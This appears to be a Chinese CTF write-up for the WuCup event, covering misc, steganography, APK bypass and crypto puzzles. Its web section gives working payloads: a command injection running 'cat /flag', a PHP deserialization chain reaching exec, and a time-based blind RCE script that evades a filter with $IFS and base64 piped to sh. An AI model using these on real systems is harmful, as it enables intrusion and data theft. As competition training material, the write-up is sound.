MISC:
旋转木马:
这道题给了两个flag 打开后发现是两段base 不过应该是分隔开了
将flag2拼接到flag1后面 形成一个完整base
with open('flag1', 'r') as f1:
part1 = f1.read()
with open('flag2', 'r') as f2:
part2 = f2.read()
with open('flag3', 'w') as f3:
f3.write(part1 + part2)
进行循环解码(这么大的base64 其实是循环了很多次进行编码实现的)
import base64
def base64_decode_multiple_times(encoded_text, times):
decoded_text = encoded_text
for _ in range(times):
decoded_text = base64.b64decode(decoded_text.encode()).decode()
return decoded_text
if __name__ == "__main__":
input_filename = "flag3"
with open(input_filename, "r") as file:
encoded_text = file.read()
times = int(input("请输入需要解密的次数:"))
decoded_text = base64_decode_multiple_times(encoded_text, times)
print(f"{times} 次 Base64 解码后的结果为:{decoded_text}")
经过测试 结果是53次
解码后拿到的结果是hex编码 进行解码后即可拿到flag
原神启动:
题目给了一张图片和一个有密码的压缩包 推测压缩包密码藏在图片里面,经过异色 拿到了flag(最下方)
接下来拿着这个flag去解压zip文件包
打开发现是一个docx文件 藏了一张图片和一段文字(文字在图片后面 把图片移动一下就能看到了)
将文字颜色修改可以看到也是一个flag
图片里面可以看到是一个flag 但不是很清晰,所以吧docx后缀改为zip,将图片提取出来进行异色
意外发现里面还藏了个压缩包 拿出来发现也是要密码,结合上面两个flag可以推测出,密码就是flag
图片提取出来后,其实放大就可以看清flag,不需要异色操作
在docx发现的压缩包名称叫img,对应图片里面的flag 里面还有一个text 对应文字的flag 得知规律后进行解压
拿到最终的flag
太极:
循环取每个字符对应位置的拼音 z直接写了个脚本来跑:
taichi = "太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业"
hashMap = {
"太": "tai",
"极": "ji",
"生": "sheng",
"两": "liang",
"仪": "yi",
"四": "si",
"象": "xiang",
"八": "ba",
"卦": "gua",
"定": "ding",
"大": "da",
"吉": "ji",
"凶": "xiong",
"业": "ye"
}
# 遍历字符串,遇到 - 重置循环数
loop = 0
text = ""
for i in range(len(taichi)):
if taichi[i] == "-":
loop = 0
print("-")
text += "-"
else:
tmp = (hashMap[taichi[i]] * 4)[loop]
text += tmp
print(loop+1, taichi[i], tmp)
loop += 1
print(text)
结果如下:
1 太 t
2 极 i
3 生 e
4 两 n
5 仪 y
-
1 两 l
2 仪 i
3 生 e
4 四 i
5 象 g
-
1 四 s
2 象 i
3 生 e
4 八 a
5 卦 u
-
1 八 b
2 卦 u
3 定 n
4 吉 i
5 凶 g
-
1 吉 j
2 凶 i
3 生 e
4 大 a
5 业 y
tieny-lieig-sieau-bunig-jieay
最终结果:tieny-lieig-sieau-bunig-jieay
加上flag头:WuCup{tieny-lieig-sieau-bunig-jieay}
音文:
本题目共有三个解法,第一个解法为官方预期解法,下面对其进行复现。
前部分都是一样的
拆分文件
010搜索到ZIP文件特征,我们把它拆出来
还原链接
从拆出来的ZIP文件中可以看到明显的提示包含下载链接
文件大小全是0,说明内容不在文件中,从文件命名格式来看,是有序排列
我们把文件名全部提取出来
import os
import re
# 获取当前文件夹内所有的 .txt 文件
txt_files = [f for f in os.listdir() if f.endswith('.txt')]
# 按文件名中的数字顺序排序
txt_files.sort(key=lambda f: int(re.findall(r'\d+', f)[0]))
# 用于存储处理后的文件名部分
result = []
# 遍历每个文件
for file in txt_files:
if file == '1.txt':
continue # 忽略1.txt本身,防止重复处理
# 去除 .txt 后缀
filename = os.path.splitext(file)[0]
# 去除数字
cleaned_filename = re.sub(r'[0-9]', '', filename)
# 将结果添加到列表中
result.append(cleaned_filename)
# 合并结果为一个不换行的字符串
final_result = ''.join(result)
# 将结果写入1.txt
with open('1.txt', 'w', encoding='utf-8') as file:
file.write(final_result)
print("处理结果已按顺序写入1.txt")
字符排序非常像摩斯电码的格式,取少的字符串作为“/”现在‘苏珊’和‘哎哟’分别为“.”和“-”,经过调试,“哎哟”为“-”,苏珊为“.”
将摩斯转为正常字符串,得到了字符串的char集
将char集转换成正常文字
接下来的解法存在两种:
第一种:
通过拆分文件拿到Flag
在拆分ZIP的时候,我们将除ZIP以外的数据保存为WAV文件
with open('flag.wav', 'rb') as f:
data = f.read().hex()
start = data.find('504b0304')
with open('download_url.zip', 'wb') as f2:
f2.write(bytes.fromhex(data[start:]))
with open('at.wav', 'wb') as f2:
f2.write(bytes.fromhex(data[:start]))
在软件中写入文件的绝对路径进行解密
第二种:
修改APK判断绕过验证
以上这段代码不难看出是获取文件的Hash值,往前追溯调用处
将Hash传递给了 public static native boolean c(String str);
可以确定是Hash校验,我们直接把校验这段删掉,或者利用Hook改变进行绕过
报错了,调用了
FrequencyToCharMapper.OOOOOOOOoOoOOOooooooOoooOOooooOOOoooOooooOOooOOoOo
追踪过去
又折返回Utils了,继续追踪过去
嗯,sb.append((char) Integer.parseInt(split[i], 16));已经可以看出是将字符串作为16进制转为char了,抓一下public static String OOOOOOOOoOoooOooOOOOooOoOoOOOoOoOooOOOOOOOOooooOOO(String str)的参数
\\u57\\u75\\u43\\u75\\u70\\u7b\\u37\\u34\\u39\\u61\\u37\\u33\\u63\\u38\\u2d\\u66\\u31\\u64\\u65\\u2d\\u34\\u63\\u38\\u63\\u2d\\u39\\u62\\u38\\u66\\u2d\\u32\\u62\\u36\\u64\\u39\\u61\\u37\\u30\\u35\\u39\\u38\\u64\\u7d???????SSS???
是Unicode,将后面多余的删掉就的得到了
\\u57\\u75\\u43\\u75\\u70\\u7b\\u37\\u34\\u39\\u61\\u37\\u33\\u63\\u38\\u2d\\u66\\u31\\u64\\u65\\u2d\\u34\\u63\\u38\\u63\\u2d\\u39\\u62\\u38\\u66\\u2d\\u32\\u62\\u36\\u64\\u39\\u61\\u37\\u30\\u35\\u39\\u38\\u64\\u7d
也可以把传入的参数修改成咱们删掉多余部分的Unicode由此,绕过Hash验证进行解密成功
web:
HelloHacker(考点 参数拼接)
payload:incompetent=HelloHacker&WuCup=oxzverapn;$_POST"a";&a=system&b=cat /flag
ezphp:
考了PHP development server源码泄露漏洞
通过常用路径爆破 爆破到了flag.php和hint.php文件
使用bp构造payload读取flag.php
GET /flag.php HTTP/1.1
Host:
GET / HTTP/1.1
注意记得开启显示换行关闭更新Content-Length
读到代码
进入/hint.php 发现是phpinfoban掉了很多函数仔细观察exec可以用
反序列化payload:
payload:
<?php
highlight_file(__FILE__);
error_reporting(0);
class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}
class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}
if(isset($_GET['h_in.t'])){
echo unserialize($_GET['h_in.t']);
}
$a=new d();
$b=new a();
$c=new b();
$d=new c();
$a->UUU=$b;
$b->OVO="hello";
$b->OAO=$c;
$b->QAQ=var2;
$c->pap=$d;
$d->OOO="exec";
$payload= serialize($a);
echo $payload;
?>
Time Cage:
出题人的话:利用“时间”,出了一些好玩的小 trick,并且逐层深入,第二层对第三层也会起到提示作用。
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
$guess = $_GET['input'];
$target = random_int(114 , 114 + date('s') * 100000);
if(intval($guess) === intval($target)){
echo "The next challenge in ".$key1;
}
else{
echo "Guess harder.";
}
}
第一层,其实读懂代码就能秒。
有一个 random_int 取随机数的过程,但是范围是从 114 到 114 加上环境系统时间的秒数乘 100000。那么很显然,当秒数为 0 时,这个随机数的范围就是 114 到 114,那么生成的数也就是 114。
我们只需要构造好 payload ?input=114
,一直刷新就好,直到秒数为 0,就能出现下一层。
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.
第二层,需要仔细观察。
需要用户提交一个正确的密码,通过就能到下一层。
我们可以先爆破这个密码的长度,手动试出来是 8。
如果我们硬爆这个密码,虽然只有数字字符,但是他长度为 8,要跑特别久,很不现实。
我们可以注意到里面有一句 sleep(1),也就是说当前这一位密码如果是正确的,响应就会延迟 1 秒,我们可以利用这一特点,根据响应的时间判断当前字符是否正确,手动即可试出来密码为 56983215。
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
$pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
if(preg_match($pattern,$cmd)){
die("Invalid Input!");
}
shell_exec($cmd);
}
else{
show_source(__FILE__);
}
//flag is in /flag
最后一层,需要结合上一层的方法。
这里是一个加了过滤的无回显 RCE,同时禁止了写文件,curl 外带,以及反弹 shell。
flag 的路径我们知道,我们该如何获取 flag 的内容呢?
我们可以通过 head -c n /flag | tail -c 1
获取 flag 的第 n 个字符(head 获取前 n 个字符,作为 tail -c 1
的输入,从而获取到第 n 个字符)
然后我们爆破这个字符,如果正确,那么就执行 sleep 1
。
上述过程用 shell 命令表示就是 [$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2
,通过这个命令,我们就能通过响应时间的差异,逐步得到 flag 的所有内容。
对于这个过滤,空格直接用 $IFS$9
绕过,其他特殊符号可以用 base64 编码绕过,也就是 echo base64编码后的命令 | base64 -d | sh
。
这里写一个脚本爆破,爆破结束后即可得到 flag。
import requests
import base64
import string
import time
flag = ""
part1 = "echo$IFS$9"
part3 = "$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh"
url = "http://challenge.wucup.cn:21098/EscapeEsc@p3Escape.php"
for i in range(1,200):
for c in string.printable:
print(flag)
part2 = "[ \"$(head -c " + str(i) + " /flag | tail -c 1)\" = \"" + c + "\" ] && sleep 2"
#print(part2)
payload = (part1+base64.b64encode(part2.encode()).decode()+part3)
#print(payload)
time1 = time.time()
data = {
"cmd": payload
}
requests.post(url, data=data)
time2 = time.time()
#print(time2-time1)
if(time2-time1>1.6):
flag+=c
break
print(flag)
Easy
key = 'hello world'
MOD = 256
s = [i for i in range(MOD)]
t = [key[i % len(key)] for i in range(MOD)]
j = 0
for i in range(MOD):
j = (j + s[i] + ord(t[i])) % MOD
s[i], s[j] = s[j], s[i]
with open('flag.txt', 'r') as f:
flag_hex = ''.join(f.read().split())
flag = bytes.fromhex(flag_hex)
flagx = ''
i, j = 0, 0
for m in range(len(flag)):
i = (i + 1) % MOD
j = (j + s[i]) % MOD
s[i], s[j] = s[j], s[i]
x = (s[i] + (s[j] % MOD)) % MOD
flagx += chr(flag[m] ^ s[x])
print(flagx)